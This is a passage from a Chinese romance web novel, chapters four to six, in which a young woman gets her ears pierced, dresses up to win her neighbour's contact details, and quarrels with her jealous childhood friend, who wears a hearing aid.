她保不齐哪天脑子一热,心一横就去找陈远舟了。万一那时候她还不方便换耳钉款式怎么办?
美丽果然是要付出代价的。
她一咬牙:“那我要耳钻吧。”
“好嘞。你要哪一款?”
徐凌音凑到柜子前,视线从左边扫到右边,又从右边扫回左边。
粉色,好看
蓝色,也好看。
紫色,好像也不错。
白色,简洁大方。
她挠了挠鼻尖。
真完蛋,选择困难症又犯了。
从小到大,她最讨厌做选择题。
于是她采取了最熟练的一招,手抬高,冲路明川勾了勾手指。
“过来。”
路明川看了她一眼,慢悠悠地走过来,在她旁边站定。
“你看看,选哪个好看点。”
他低头看向那一排眼花缭乱的耳钻。
视线从左滑到右,最后停在白色上。
徐凌音以为他要选白色了。
结果他的手指突然指着一颗角落黑色的。
“这个吧。”
徐凌音:“?”
她瞪大眼睛看向那颗黑色耳钻,小小的,几乎没什么存在感,因为颜色暗淡,以至于都不能反射出强烈的光彩。
“不是,为什么选这个色?”
“低调一点。”
徐凌音差点没背过气去。
她不说选个多张扬的,但起码选个能一眼闪到别人的吧?要不然这二十五多亏啊。
再说了,和他一样戴黑色的?
她才不要。
见徐凌音一幅咬着唇不肯答应的样子,路明川的手指又动了。
这次他指着黑色旁边那颗粉色的。
“这个怎么样。”
徐凌音顺着他手指看过去。
那是一颗小小的粉色耳钻,在灯光下泛着温柔的光。不是那种艳俗的粉,是淡淡的、透透的,像三月的桃花瓣,又像晚霞染过的云。
好看。
徐凌音犹豫了几秒,然后点头:“行吧,就这个。”
“好,坐过去吧。”
徐凌音在椅子上坐下。
刚开始心里还没什么波动。但听到老板娘撕开包装纸、拿出针的那一刻,她突然生出一种想跑的冲动。
她怕疼。
从小就是。
“路明川,”她扭头看向他,“这个到底疼不疼?”
还没等路明川开口,老板娘先接过话去:“耳垂不疼的,一般都是可以接受的。”
“啊,是吗?”
徐凌音眨眨眼,一双眼睛又圆又亮,像小鹿一样清澈。
“嗯,耳骨才疼,养起来也麻烦。”
徐凌音愣了一下。
她突然想起来,路明川那个耳洞是打在耳骨上的。黑色的耳钉,小小的,藏在耳廓边缘,不仔细看发现不了。
是什么时候打的来着?
好像是高三。
具体的日子记不清了,只记得有一天他突然就多了个耳钉。
“路明川。”她突然喊他。
“嗯?”
“你那时候怎么没叫我陪你?”
他看了她一眼,没说话。
耳边传来撕扯包装袋的声音,虽然微弱,但在徐凌音听来简直可怕,她眉毛不禁皱起来,不敢往老板娘那儿看,一张小脸陡然严肃起来。
此时,路明川的声音突然响起来。
“徐凌音,你知不知道两个i人谈恋爱会有一个e人变富。”
“?”
徐凌音不知道他为什么突然问这个,“什么什么什么东西?这有逻辑性吗?”
路明川顿了顿,“你猜猜看。”
4. Chapter 04
徐凌音愣了一下。这什么脑筋急转弯。
“不知道。”
“因为i?=-1。”
徐凌音看向他,一时沉默,“你是不是在在讲冷笑话。”
路明川微微皱起眉,然后也沉默,“不好笑吗?”
“好笑的点是?”
这个无聊的理科男!
徐凌音满脑子都是无语的时候,猛然间,一股潮水般的疼痛在耳垂上蔓延开来,从耳垂往四周扩散,火辣辣的。
她倒吸一口凉气。
“另一只耳朵,准备好了吗?”老板娘的声音从旁边传来。
徐凌音:“……”
她能说没准备好吗,话说为什么要提醒她啊。
她咬了咬牙,闭上眼,两只手攥紧。
第二针落下去的时候,她几乎是硬扛过去的。
打完,耳垂上多了两颗粉色的耳钉,小小的,藏在发丝后若隐若现。
但徐凌音一句话都不想说。
她扭头瞪向路明川。
“你骗我。”
“好笑,我骗你什么了?”
“你说不疼!”
“我说了吗?”
“你没说,但你没说不疼!”
路明川看着她,嘴角似乎动了一下。
“行,我的错。”
他站直身子,没再靠墙,一幅慵懒的劲儿看得徐凌音牙痒痒。
“我赔罪,想喝什么?”
“奶茶。”
等他从身边擦过,去买奶茶的时候,徐凌音明显感觉到这人好像还挺愉悦的?
明明她疼得要死,他愉悦个什么劲?她就说路明川就喜欢和自己对着干。
徐凌音越想越气。
等他拿着奶茶回来,刚把吸管插好,她抬手就往他肩膀上捶了一拳。
没准备的路明川被捶得晃了一下。
他低头看她,没问为什么,只是把奶茶递到她嘴边。
“喝。”
徐凌音瞪他一眼,低头含住吸管。
冰凉的奶茶滑进喉咙,甜丝丝的,带着淡淡的茶香。三分糖,刚好是她喜欢的甜度。
她一口气喝了小半杯,才觉得心情好了一点。
从店里出来,街上比来时热闹多了。
路边的树上挂着彩灯,红的黄的蓝的,一闪一闪的,把整条街都照得亮堂堂的。广场那边传来音乐声,隐约能看见有人在跳舞。
人群来来往往,有牵着手的情侣,有追着跑的小孩,还有推着小车卖东西的小贩。
徐凌音一边喝奶茶一边走,眼睛四处乱瞄。
走到一个卖小玩意儿的摊位前,她脚步顿了一下。
摊子上摆满了各种发夹、头绳、小镜子,花花绿绿的。
路明川也停了。
他低头看了一眼那堆发夹,弯下腰,伸手拿了两个付钱。
很小巧的发夹,上面缀着几颗小星星,亮晶晶的。
然后他直起身,抬手把发夹夹在徐凌音额边。
动作很快,快到徐凌音都没反应过来。
那两缕垂落在耳边的碎发被别上去,露出粉色的耳钉。
徐凌音下意识抬手要取:“干嘛啊?”
“别动。”
路明川的声音从头顶落下来,语气平平的。
“头发挂到钉子很痛,会发炎。”
徐凌音的手僵在半空。
她看着他的脸,他脸上没什么表情,只是垂着眼看她,淡琥珀色的眼瞳被灯光照得透亮。
几秒后,她把手放下了。
“哦。”
她乖乖站着,像个鹌鹑一样,任由他摆布。
路明川微凉手指碰到她发热的耳廓,轻轻把那几缕碎发拨开。
路灯的光落下来,那颗粉色耳钉衬得徐凌音的脸都平添了几分恬静。
路明川收回手,插回裤兜。
“挺好看。”
徐凌音嘁了一声。
这人今天太阳打西边出来了?居然会吐出一句中听的人话?
不过夸的是他自己买的发夹,有什么意思。
自买自夸。
她翻个白眼,继续往前走。
路明川落后半步,跟在她身后。
两个人的影子被路灯拉得很长,一前一后,偶尔交叠。
中间依旧隔着一拳的距离。
她低头喝奶茶,他慢慢走。
黑色耳钉和粉色耳钉,一上一下,一个藏在耳廓边缘,一个露在发丝之外。
在路灯下,偶尔闪过一点光。
交相辉映。
但又好像没什么关系。
*
回去的时候,爸妈已经上床躺着玩手机了。客厅只留了一盏落地灯,昏黄的光晕洇在沙发扶手上。
徐凌音钻进卫生间洗漱,牙膏沫子还没吐干净,就凑到镜子前歪着头看耳垂上那枚新打的耳钉,小小一颗,在灯光下泛着细碎的光。
她新奇地转了转脑袋,耳钉跟着晃,可是手指刚碰到耳垂,就疼得她“嘶”了一声,耳垂依旧又红又肿。她不敢再碰,目光从耳垂移到额边别着的两个发夹上。
这一看,她忍不住撇嘴。
太丑了。
高饱和度的荧光粉,塑料质感,造型也粗糙,像小学门口两块钱一把的那种。路明川眼神怎么这么差,挑了这么个玩意儿。
她抬手想摘下来。
指尖碰到发夹的瞬间,却停住了。
犹豫了几秒,她把手放下来,还是没摘。
算了。她对着镜子拨了拨刘海,刚好盖住发夹,又刚好不蹭到耳垂。这样挺好,省得头发老刮到耳朵,怪疼的。
一想到明天要去要陈远舟的联系方式,她心情又美起来了。
她哼着小曲,一蹦一跳往房间走,拖鞋在地板上踩出啪嗒啪嗒的声响。
推开房门,按亮灯。
书桌上多了几样东西。
三支生理盐水,一包尖头棉签,整整齐齐摆在她作业本旁边。
徐凌音愣了一下,拿起来看了看。也不知道是什么时候放进来的,她回来的时候还没见着。
她往床上一躺,举起手机给路明川发消息。
徐凌音:[图片][谢谢咯owo]
图片里是那几支生理盐水,拍得随意,还入了半截她睡裙的蕾丝边。
对面过了一会儿才回。
路明川:[。]
这个句号通常代表他已读,懒得打字。徐凌音“嘁”了一声,翻个身继续打字。
徐凌音:[你明天有事吗?]
路明川:[你要做什么。]
徐凌音:[陪我去隔壁要
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个联系方式呗,你知道的,人家社恐。]
这话其实有点水分。
徐凌音从小就是巷子里的孩子王,跟谁都能聊两句,是那种“社交恐怖分子”。可那是没目的性的广撒网式瞎聊,一旦有了目标,要刷某个好感度,她就跟乌龟似的,恨不得把头缩进壳里。得有人在旁边陪着,她才敢往前走。
对面久久没回。
久到她以为他睡着了,正要爬起来去对面敲门,手机震了。
路明川:[不。]
徐凌音盯着这个字看了好几秒。
徐凌音:[为什么?你有事?]
路明川:[嗯。]
就一个字。也不说是什么事。
徐凌音等了好一会儿,对面再没动静。她盯着聊天界面,那股期待的气一点点瘪下去,整个人像被扎了一针的气球,肉眼可见地萎了。
路明川从来不拒绝她的。
从小到大,她要什么他都给。她要吃巷口那家糖葫芦,他大冬天跑出去买,回来耳朵冻得通红。她要他陪她去同学聚会,他就在隔壁包间坐两个小时,等她玩够了再一起回家。
可这次他说不。
还死活不说原因。
徐凌音扯了扯嘴角,编辑了三个字发过去:小气鬼。
路明川:[哦。]
徐凌音突然觉得被气到了,然后她把手机往枕头边一扔,决定不再想了。反正诸如此类的事也不是第一次发生,路明川的性格本来就难以揣摩,她才懒得揣摩。
她跳下床,赤着脚踩在木地板上,走到衣柜前拉开柜门。
高中三年天天穿校服,她都没怎么买过衣服。唯一能拿得出手的,就是毕业那天方涵知陪她上街买的那几条裙子。她把它们一件件拨开,露出最里面那条——
淡绿色的短裙,收腰,裙摆刚好盖住膝盖。料子软软的,摸上去像摸着一捧水。胸口绣着几朵白色的小雏菊,若隐若现的。
当时在店里一眼就看中了,试都懒得试,直接让店员包起来。价格贵得她肉疼,可架不住它实在貌美。结果回来一搜某宝,发现同款只要一半的价钱。
天杀的黑商!
算了,看在它实在好看的份上,暂且原谅这个世界一秒。
她把裙子拎出来,才发现被压在衣柜里太久,裙摆上压出几道深深的折痕。她用力拽了拽,手一松,折痕又弹回原样。
家里没有熨斗。
她想了想,钻进卫生间,找了个空的矿泉水瓶,灌上热水。回来学着网上看过的样子,往裙子上洒了点水,用热瓶子在折痕处滚来滚去。
痕迹淡了一些,但和熨出来的效果还是差了点意思。
徐凌音没招了。
她想让路明川帮忙,也许是因为从小喜欢玩魔方拼乐高,他的手很巧,小学的时候,徐凌音在外玩得裤脚磨破,还是路明川给她补上的,小而稚嫩的手指用力捏着绣花针,认认真真缝补的样子,徐凌音现在还记得,把这件事时不时抖出来笑路明川,说以后要告诉他媳妇儿。
可转念一想,他刚拒绝了她,肯定也不乐意。
算了,就这样吧。
她把裙子抖了抖,小心挂回衣柜里。明天穿上身,应该也看不出来。
关上柜门前,她又看了一眼那条淡绿色的裙子。
明天的联系方式势在必得。
5. Chapter 05
天一亮,阳光就从窗帘缝隙里挤进来,细细的一缕,落在徐凌音枕边,像是谁偷偷塞进来的金线。
她昨晚翻来覆去睡不着,方涵知一开始还陪她聊,到了后半夜实在熬不住,发了个“你给我睡觉!”就再也没声儿了。
可徐凌音还是精神抖擞,盯着天花板数羊,数到三百多只的时候,窗外传来包子铺的吆喝声。
她“腾”地一下坐起来。
对门那家包子铺早就堆满了人,蒸笼冒着白气,混着清晨的薄雾飘在巷子里。徐凌音破天荒地没赖床,蹦下床甚至没换鞋就出了门。回来的时候两只手拎满了塑料袋,豆浆豆花油条灌汤包,甜的咸的,统统来了一份。
葛芳从卧室出来,看见桌上堆得满满当当,挑了挑眉:“哟,今天太阳打南边出来了?咱们家大小姐还知道买早餐了?”
徐凌音没顾上打趣,手指扒着眼下往下一扯,吐出舌头,对着葛芳做了个滑稽的鬼脸。
惹得葛芳差点拿起吸管往她身上扔。
路明川向来比她起得早,可今天房门紧闭。徐凌音本想过去敲门,让他尝尝被吵醒的痛苦,手指快碰到门板时,却又停住了。
算了。让他睡吧。
回到房间,她把门锁上,窗帘“哗啦”一下全拉开。阳光毫无顾忌地涌进来,铺满整个书桌。今儿是个艳阳天。
手机里昨晚收藏的新手化妆教程还在播放,博主的声音轻柔,徐凌音拿出所有未开封的工具,照葫芦画瓢。
第一次化妆实在不大熟练,眼线歪成几座山峰,腮红打成了猴屁股,卸了涂、涂了又卸。等终于化出一个能看的妆时,镜子里那张脸被折腾得有些发红,但眉眼确实更鲜亮了。
她换上昨天那条绿裙子。收腰的地方掐出一把细软的弧度。料子软软的,转起来会轻轻扬起。她对着镜子转了一圈,又喷了点香水,是同学送的,带着淡淡的花果香。
镜子里的女孩弯着眼睛,像刚从枝头摘下来的青杏,鲜嫩得能掐出水。
*
巷子里的石板路被太阳晒得发烫,徐凌音踏着一地光斑来到陈家。铁门虚掩着,油漆斑驳,露出底下的发锈,她抬手敲了敲。
“门没锁,进来——”
苍老的声音透过铁门传出来。徐凌音先探进去一颗头,而后才倾进半个身子。
阳光洒满整个小院,空气里有淡淡的洗衣粉味,混着墙角那棵枣树的清香。
陈阿婆坐在小桌边择菜,穿着件洗得发白的蓝布褂子,外面还套了件薄薄的毛线背心。她的皮肤皱得像晒干的老树皮,手背上青筋凸起,白发稀疏地贴在头皮上。脸色倒还好,泛着些红润,精神头看着不错。
“阿婆好。”
陈阿婆眯着眼认出她,笑眯眯地招手,往她手里塞了几颗青脆的枣子:“妹儿,你怎么来了?”
“就是来看看阿婆你身体怎么样。”
“一把老骨头了,凑合活吧。”
“哪能这么说,阿婆你肯定长命百岁的。”
枣子在掌心滚了滚,徐凌音的眼睛却没忍住往屋里瞟。陈阿婆那双浑浊的眼却看得清楚,笑着问:“妹儿,你找什么呢?”
徐凌音咬着下唇,语气飘忽起来:“那什么,远舟哥不在家吗?”
“噢,有人约他出去打篮球了。你来得不巧。”
“那他什么时候回来啊?”她眨了眨眼,密长的睫毛扑闪两下,透出藏不住的失落。
“他才出门没多久,你可以去找他。篮球场你知道噻?”
完蛋。
徐凌音扯了扯嘴角:“那好吧。”
跟陈阿婆道了别,她握紧枣子往篮球场走。要是平时她可能就不去了,运气不好就改天。可今天不行,毕竟她化了两个小时的妆,做了半小时的头发!头发都要被卷发棒烤焦了!
篮球场在老街尽头的社区公园里,要穿过一整条商业街。一路上全是便利店和小吃铺,徐凌音拐进一家店,买了瓶水和几颗大白兔奶糖。想着打了那么久球肯定渴了,得补补。
不多时,篮球场就在眼前。绿色的铁丝网围成一圈,里面传来篮球砸地的闷响和少年们的喊叫声。太阳把塑胶地面晒出一股橡胶味,混着汗水和青春的荷尔蒙。
人群里,陈远舟的气质很出众。
他穿着件宽松的白T恤和黑色短裤,露出的小腿线条流畅。刚好接住队友传来的球,跃起,手腕一翻——篮球划出一道弧线,“唰”地空心入网。落地的瞬间,衣摆扬起,露出一截紧实的腰线。
徐凌音的唇角弯起来,果然还是和高中的时候一样帅。她没忍住喊了一声:“好!”
陈远舟循声望过来,脸上带着运动后的潮红,冲她挥了挥手。
可徐凌音的笑容却僵在脸上。
因为他旁边站着一个意想不到的人。
路明川。
他怀里抱着球,白而薄的眼皮一抬,目光穿过球场落在她身上。阳光把他照得有些晃眼,碎发被汗浸湿,搭在额前。他看见徐凌音,看见她那条绿裙子,看见她脸上精致的妆,看见她手里那瓶水,以及她为另一个人欢呼时候的神情。
他愣了一下。
然后目光转向陈远舟,又收回来,落到手中的篮球上。什么话都没说,浑身的气质却冷了下来,像夏天冰镇过的盐水,冒着丝丝寒气。
陈远舟已经大步走过来,脸上带着笑:“你怎么来了?”
徐凌音小步移过去,脸颊上被太阳晒出自然的红晕,配上绿裙子,整个人像三月枝头最嫩的芽。陈远舟没忍住多看了她两眼。
这儿没外人,路明川更是熟得不行,可徐凌音莫名有些说不出口要微信的事。总觉得怪怪的,还有点尴尬,像穿了条红秋裤突然要亮相。
她扯出一个微笑:“在家待着无聊,来看看有没有人打篮球。”
“这么巧?”
“对啊,好巧好巧。”她打着哈哈。
“确实是巧。”路明川的声音幽幽传来,清冽得像山涧里的泉水,冷而好听,“一天二十四小时,你平时不是恨不得宅家里二十五小时吗?”
徐凌音瞪他一眼:“哪有!诬蔑我!”
陈远舟的目光在两人之间转了一圈,半晌才问:“你们认识吗?”
“朋友,朋友。”徐凌音抢着说。
“这样啊。”
“哐!”
篮球砸在地上,闷响震得人心里一跳。徐凌音没忍住往路明川那儿看了一眼。这人,弄那么多死动静干什么?
刚结束一场,陈远舟额头和脖颈上都是汗。徐凌音连忙从小包里拿出纸巾,递过去:“学长,你擦擦吧,等会儿流进眼睛里怪疼的。”
陈远舟笑着接过,脸上两个浅浅的酒窝若隐若现:“谢谢。”
水瓶还捧在手心,徐凌音抱着它一时不知道该怎么开口。她说自己是随便来看看的,总不能就准备上一瓶未开封的水吧?万一陈远舟以为她随便给人水呢,显得多没偏向。
不行不行。
可话已经说出去了,到底要怎么圆回来?
她正绞尽脑汁想借口,手上的水突然被抽走了。
“谢了。”
路明川的话扔下来,语气随意慵懒,仿佛这瓶水本来就是为他准备的。
他自觉地拧开瓶盖,仰头就灌,喉结随着吞咽的动作上下滚动。阳光落在他扬起的脖颈上,有一层薄薄的汗,亮晶晶的,像是天然的细腻珠光。
徐凌音脸上的笑差点没绷住。
她急得看向陈远舟,那人脸上神情没什么变化,只是礼貌地移开目光。可这根本不重要!重要的是这瓶水是给陈远舟买的啊!
路明川灌了大半瓶,才把水瓶塞回她怀里,淡淡说了句:“这水不太好喝,下次买农夫山泉。”
徐凌音:?
如果她是农夫,她现在就要给路明川三拳。
她皮笑肉不笑地“呵呵”两声。
休息时间差不多了,场上有人喊他们过去。新的一轮开始,徐凌音找了个位置坐下,把小包放好,还不忘掖好裙摆,生怕弄脏了。
球场上,新一轮对抗开始了。
路明川和陈远舟对位。
他今天穿了件黑色背心,露出一截精瘦有力的小臂。运球时肩膀压得很低,背心随着动作晃动,时不时掀起一角,露出底下紧实的腹肌线条。阳光把他的皮肤晒成蜜色,汗珠顺着脖颈滑下来,没入衣领。
陈远舟试图防守,可路明川一个变向就把他晃开,突进内线,跃起——整个人像拉满的弓,手腕一压,篮球“唰”地入网。
下一个回合,陈远舟刚拿到球,路明川就贴了上去。他步子压得极低,手臂张开,像一堵移动的墙。陈远舟试图突破,他横移一步,手掌一探,“啪”的一声,球被切掉。
路明川捞起球,转身就冲。三步上篮,起跳,扣进。
落地时他回头看了一眼。
不是看陈远舟。
是看向位置上的徐凌音,少女脸上遮掩不住的焦躁和紧张,全是为另一个人。
那一眼很短,短到几乎可以忽略不计。可徐凌音莫名觉得后背一凉,像被什么东西盯上了。
接下来的比赛,路明川像是换了个人。抢断、盖帽、突破、三分,几乎每个球都压着陈远舟打。他不是在打球,像是在宣告什么。少年气从他身上溢出来,带着点狠劲,带着点不服。
毫无疑问,陈远舟和路明川不是一个水平线,被他压着打。
徐凌音有些诧异,路明川什么时候这么会打篮球的?她怎么不知道?
可惊讶之余,她的目光还是追着陈远舟。他每进一个球,她就鼓掌叫好;他失误了,她就握紧拳头替他惋惜。次数多了,路明川往她这边看了好几眼。
她浑然不觉。
太阳从正中间开始偏移,热气逐渐消散。天边烧起大片大片的晚霞,橙红紫金,像谁打翻了颜料盘,一层层晕染开去。云层边缘镶着金边,远处的高楼被映成剪影,风里开始带上一丝凉意。
比赛结束了。<
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p>看见两人走过来,徐凌音“腾”地站起来。路明川轻车熟路地抄起她的小包,往肩上一背。
徐凌音心里咯噔一声,急忙一把抢回来,自己背上。
路明川顿在那里。
他垂眼看她,目光落在她脸上,比寒冬腊月还要冷上几分。那双眼睛平时就淡,这会儿更是淡得看不出任何情绪。可就是这种淡,让人心里发毛。
徐凌音浑然不觉,只是走到陈远舟身边,还不忘回头冲路明川喊:“呆着干嘛,跟上啊。”
路明川抿唇没说话,下颌线被扯得发紧,越发明朗。
他看着她的背影。绿裙子在夕阳里晃啊晃,像一株会走路的植物,正朝着别人生长。
一行人逐渐走散,各回各家。最后只剩下三个人同行,徐凌音第一次这么庆幸陈远舟住隔壁。
她恰好走在两人中间,三人的影子偶尔叠在一起。路明川一路上一言不发,空气都跟着冷了几分。不过徐凌音已经习惯这人内敛的性子,当他不存在好了。
手机一直在震,方涵知的消息快蹦了99+。徐凌音手心全是汗,生怕拿不稳掉地上。心底像涌上无边的潮水,把心泡得七上八下。一紧张,她说话都有点磕巴。
她转头看向路明川:“你先走前面去。”
路明川侧过脸睨了两人一眼,脚步依旧不快不慢,以行动拒绝。
徐凌音感觉自己的勇气值正在疯狂往下掉。她也不知道哪来的力气,直接推了他一把:“你去街头那儿买两碗冰粉来,热得很。”
被赶了两次,路明川这次终于没再留下。
他快步走向前,很快就消失在巷子拐角。
最大的电灯泡没了,徐凌音好不容易又鼓起一团气。她攥紧手机,然后深呼吸。
“学长,你经常去打篮球吗?”
陈远舟笑了笑,脸边挤出两个浅淡的酒窝:“对啊,放假无聊,就经常去那儿玩玩。”
“噢,这样啊,打得还是一如既往的好。”
“一般吧。你很喜欢看篮球吗,我记得高中的时候你总来看比赛。”
徐凌音轻咳两声,生怕嗓子状态不好:“当然啦。你以后打篮球的时候能不能告诉我一声啊?我也闲着在家,想着没事看看比赛。”
“行啊。”
徐凌音把手机递出去,手腕抖得跟帕金森一样。她拼命压制住,想让自己显得没那么紧张。
“那加个好友呗?”
陈远舟笑着拿出手机:“好。”
扫码,通过。
跟陈远舟挥手道别后,徐凌音冲进自家院子,对着空气挥了几下拳头,差点打到墙角的花盆。
徐国强躺在摇椅里吞云吐雾,看着自家女儿这神经质的举动,见怪不怪:“幺儿啊,你干嘛呢这是?”
徐凌音举起手机冲他晃了晃,神秘兮兮地小跑进屋。
一进去,她就看见路明川坐在沙发上,茶几上放着两碗冰粉,玫瑰糖浆晕出黄色的糖水,红色的樱桃点缀在透明的凉粉上,冰块游在其间。
他换了身干净的衣服,被汗打湿的头发还没完全干,几缕碎发湿漉漉地搭在额前。
徐凌音突然觉得这一幕有些眼熟,前几天路明川说自己跑步回来也是这副样子。
路明川此刻的手里把玩着一个小型魔方挂件,是她送的那个生日礼物,限量联名款,她蹲了三天官网,还加了钱才抢到的。正版授权的,市面上早就绝版了,有人出双倍价都买不到。
他就这么拿在手里转来转去,指节分明,动作熟练。
徐凌音扑坐到他身边,但没坐在沙发上,而是坐旁边的一个木凳上,路明川连半个眼神都没给她。
她伸出手去戳他的手臂。
还没碰到,他就往旁边一坐,离她半米远,中间隔得像是条天河。
徐凌音愣了一下,又凑过去,软了语气:“诶,小耳朵,你今天怎么了?一天下来才跟我说了一句话。”
路明川抿着唇,没吭声。
魔方在他手里转了一圈,又一圈。
窗外最后一点晚霞沉下去,屋里暗下来。他没开灯,整个人坐在阴影里,只有魔方偶尔反射一点光。
冰粉碗里的冰块都要化完了,才听到路明川的声音。
“没怎么。”
他终于出声,声音低低的,脸色也沉下去,在昏黄的光影里变得晦暗。他勾着徐凌音椅子,徐凌音整个人连带椅子就被拉过去,两人的距离突然凑得极近,徐凌音甚至没有站起来的时间。
路明川眼下的痣映进眼里,一点点随着距离拉近而放大,近到两人的鼻尖快要相对,能感受到对方身上发热的气息和温度。
“徐凌音,你眼光不怎么样。”
“你什么意思?”
“那人的技术也就那样,菜得可怜。”
说完,路明川将小魔方往茶几上一放,上半身往后一倾,瞬间与徐凌音拉开安全距离,随后径直回了房间去。
徐凌音后知后觉涌上一股火气。
6. Chapter 06
徐凌音在客厅里转了三圈,还是没忍住。
她冲到路明川房门前,拧了下把手——锁上了。
行。
她抬起手,巴掌拍上去,“砰”的一声闷响,震得走廊里的灯都晃了晃,客厅窗户跟着嗡嗡震颤。
“路明川!你今天到底怎么了?凭什么给我甩脸色?”
没人应。
她又拍了两下,力道更重:“你这人怎么这么小心眼啊?我不就夸了他几句吗?你至于一整天摆个臭脸?”
还是没动静。
徐凌音深吸一口气,嗓门抬高:“路明川——!”
话音刚落,门开了。
门缝里挤出他半边脸。房间里没开灯,只有窗外的路灯光透进来,把他的轮廓勾出一层模糊的光边。他站在阴影里,脸色差得像刚从冰箱里拿出来,眼皮垂着,看不出情绪。
徐凌音正想开口骂,他的目光却从她脸上滑下去,落在那条绿裙子上,落在那枚粉色的耳钉上。落在那张化了两个小时妆的脸上。
好看得刺眼,但这一切的靓丽却是为了陈远舟,另一个只认识了几年的男生。
偏偏这枚粉色还是他挑选给她的,真是讽刺。
路明川垂下眼皮。
那一瞬间,他眼里有什么东西翻涌了一下,又被他死死压回去。
他什么都没说,手已经搭上门框,准备毫不留情地关上。
徐凌音眼疾手快,膝盖一抬抵住门,整个人像泥鳅一样从门缝里钻进去。
哪怕面对比自己高一个头的人,她也丝毫不怵,仰着脖子瞪他:“怎么?今天不跟我说清楚,你别想睡觉!”
路明川垂眼看她,薄唇抿成一条线。
“有什么好说的。跟你又有什么关系。”
“成,我问你,你前两天说是去跑步,其实是找他打篮球对不对?”
“是。我就是去找他虐菜,怎么了?”
“你——!”徐凌音被他这理直气壮的语气噎住,“你说话怎么这么难听?人家惹你了吗?就因为我在你面前夸过他几句?”
路明川没说话。
他看着她,看着她因为生气而泛红的眼眶,看着她脖子上因为激动而微微跳动的血管,看着她身上那条为他之外的人穿的绿裙子。
然后他抬起手。
当着她面,手指搭上耳廓,慢悠悠地摘下助听器,随即毫不在意地往桌上一丢。
动作很慢,慢到足够让徐凌音看得一清二楚。
这招很奏效,徐凌音一口气堵在胸口,差点没上来。
这个动作她太熟了,从小到大,每次她在外头受了气回来找他胡搅蛮缠,他就这样。取下助听器,削弱音量,等她发泄完再戴回去。这样并不是完全听不见,但却刚好让路明川知道徐凌音发泄到哪儿了。
次数多了,两个人形成一种默契。
可这次不一样。
这次不是她无理取闹,是他莫名其妙!
徐凌音气得浑身发抖,一把抓起桌上的助听器就想往窗外扔。举到半空,又停住了,毕竟这东西实在不便宜,又不是摊边的五毛辣条。
她咬咬牙,把助听器往床上一摔。
“路明川,你不觉得你性格很奇怪吗?以后除了我,谁忍得了你啊?”
他看了她一眼,语气淡得像白开水:“你现在也没忍啊。”
“那是因为你无理取闹!我凭什么要忍你?”她声音都劈了,“等会儿给我气出乳腺结节,你赔啊?”
“哦。”
一个字。
轻飘飘的,像一颗石子砸进深渊,连回响都没有。
说完,他绕过她,往电脑椅上一坐,偏过头看向窗外。
那姿态分明就是懒得理你。
徐凌音张了张嘴,一堆机关枪似的话全堵在喉咙里,上不去下不来。
她盯着他的侧脸,盯着他下巴绷紧的弧度,盯着他搭在扶手上微微握紧的手指。
他在生气。
她看得出来。
他居然还在生气?
“行,路明川,你真行。”
她拉开门,正要迈出去。
“你那么怕痛。”
他的声音从身后传来,闷闷的,像是从很深的地方挖出来的。
“却打耳洞,是因为要配这条裙子么?”
徐凌音脚步顿住。
这条裙子为谁穿,她心里清楚,他也清楚,耳洞是毕业就想打的,可真正下定决心,陈远舟确实是个行动导火索。
她转过身,一字一句,生怕他听不清:
“对啊。粉配绿,简直天生一对,配得不行。”
路明川看着她。
房间里没开灯,窗外的路灯光把他的脸照得半明半暗,就连琥珀色的瞳孔都显得微微发沉。
然后他笑了一下,很轻,很短,嘴角不过是扯了扯就放下。
徐凌音被他这一笑笑得心里发毛。她抓起床上那个枕头,用尽全力砸过去。
枕头很软,砸在他身上没什么声响,又软绵绵地滚落到他脚边。
没人去捡。
她摔门出去。
刚一出去,就看见客厅里,葛芳和徐国强端坐在沙发上,姿势端正得不像在看电视。
电视里正放着综艺,声音调得很小,小到几乎听不见。
徐凌音脚步一顿,一个回头。
“你们是不是听到了。”
葛芳从果篮里捏起一瓣橙子塞进嘴里,嚼了嚼:“声音都震天响了,聋子才听不到。但没听明白你们到底吵什么。”
徐凌音张了张嘴。
说简单也简单,说复杂也复杂。可再复述一遍,不又把自己气一遍吗?
“没什么。”她别开脸,“路明川那个神经病。”
“诶诶诶!说什么呢?怎么这么说人家?徐凌音,谁教你随便骂人的?”
徐凌音闭嘴。
随即她看见徐宝国冲她招手,跟招财猫似的,一下又一下。
她不情不愿地走过去,看见木椅子想起什么,随后一脚蹬开它,然后往沙发上一瘫:“干嘛。”
“幺儿,”徐宝国吞云吐雾,难得正经,“这种关键时候,别跟明川闹掰。”
徐凌音讨厌二手烟的味道,一把给徐宝国嘴上叼着的烟给抽下来塞烟灰缸里。
动作之余,她还不忘回怼:“为什么?凭什么?”
“你们不是快填志愿了吗?你现在闹掰了,等会儿都没人帮你参考参考,多头疼。”
徐凌音“腾”地一下从沙发上弹起来。
“凭什么不是他害怕跟我闹掰?凭什么不是他想找我参考?凭什么不是他头疼?我朋友那么多,再不济还有老师,我为什么要忍气吞声跟他打好关系?”
“人家都不在乎,我也不在乎好了!要不然显得我多欠!”
说到最后,她喉咙一哽,有什么东西卡在那里,上不去下不来。
徐国强被她这一串“凭什么”砸得脑壳疼。他们两口子活了大半辈子,最擅长的就是左右逢源,见人说人话见鬼说鬼话。人和人相处不就是那么一回事吗,面上能过去就成,可这个女儿,怎么就是教不会?
“你这孩子,怎么不懂呢。”
徐凌音没等他说完,转身就跑进房间。
门“砰”的一声关上。
她趴在床上,掏出手机,把路明川的恶行一条一条发给所有朋友。
方涵知秒回:[活久见了,你们居然吵架了?]
徐凌音手指飞快:[他神经病!我今天打扮得漂漂亮亮出门,他全程给我甩脸子!还抢我水!还阴阳怪气!]
方涵知:[……等等,你打扮得漂漂亮亮出门?去哪儿?见谁?]
徐凌音愣了一下,打字的手顿了顿。
徐凌音:[陈远舟啊,今天唯一的战绩只得了绿泡泡。]
方涵知:[哎呀,朋友之间也会吃醋啊,他肯定是觉得被冷落了不开心。]
那边正在输入了很久。久到徐凌音以为对方睡着了,当她要关掉手机的时候,消息才发
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来。
方涵知:[你肯定不知道,有段时间你和林育春天天黏在一起,下课也笑上课也传纸条,我看着心里真难受得要死,可我控制不了。我又不敢跟你说,怕你觉得我小心眼,怕你觉得我烦。]
徐凌音:[那你现在又说出来了。]
方涵知:[那是因为随着毕业过去了,没当时那么敏感了。]
徐凌音:[你怎么做的?]
方涵知:[什么怎么做的?]
徐凌音:[就是……难受的时候。]
这次那边沉默得有点久。
方涵知:[就憋着啊。憋着憋着就习惯了。]
方涵知:[我就给自己洗脑,你和她肯定是假玩,和我真玩!]
徐凌音鼻子忽然酸了一下。
